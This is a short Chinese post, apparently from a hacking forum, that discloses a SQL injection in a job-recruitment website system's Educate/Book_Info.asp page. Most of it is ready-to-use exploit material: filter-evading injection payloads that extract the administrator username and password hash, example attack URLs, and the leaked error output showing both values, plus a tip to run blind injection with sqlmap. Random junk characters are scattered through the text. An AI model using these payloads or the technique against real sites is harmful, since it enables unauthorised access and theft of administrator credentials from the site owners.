网络求职招聘人才网站系统正式版注入

admin

漏洞出现在Educate/Book_Info.asp

' s- f  @; C- N. X* A此处注入点虽然过滤了一些关键字 但是我们还是可以盲注的 可以利用sqlmap跑出
! d% n. G9 L# I7 I' W, L
exp：如下
) S% N4 j. S: U7 D1 x) B, u. R查询管理账号：+aNd+0=(selEct+toP+1+su_SupperName+frOm+pH_Web_Supper)
查询管理密码：+aNd+0=(selEct+toP+1+su_Password+frOm+pH_Web_Supper)
0 z+ x! z  x; q, D' N4 |
; f5 G- V3 J( q4 K" ~5 vhttp://www.xxx.com /Educate/Book_Info.asp?Param=20+aNd+0=(selEct+toP+1+su_SupperName+frOm+pH_Web_Supper)
' \" D5 \, a) V- F1 s" n: W. H
Microsoft OLE DB Provider for SQL Server 错误 '80040e07'
9 h# @7 r4 g  |0 P0 _
- X2 L& P% j3 a9 J- _5 Y; A8 c将 nvarchar 值 'hackbase' 转换为数据类型为 int 的列时发生语法错误。
; `1 p5 }7 e0 l" a! `" E
/Educate/Book_Info.asp，行 8

http://www.xxx.com /Educate/Book_Info.asp?Param=20+aNd+0=(selEct+toP+1+su_Password+frOm+pH_Web_Supper)

# A8 U/ [' Q+ m# i+ Y6 D$ H0 DMicrosoft OLE DB Provider for SQL Server 错误 '80040e07'
! ?4 d. g- {2 J& @
将 nvarchar 值 '165706AD8319D7F95B7FC5E82FBE8F' 转换为数据类型为 int 的列时发生语法错误。
$ ^6 M  d6 g: q, P
. D( W$ s9 [' G: l  n7 Q. Q! e- E/Educate/Book_Info.asp，行 8
+ U! K; q0 q" ~+ E2 t% K​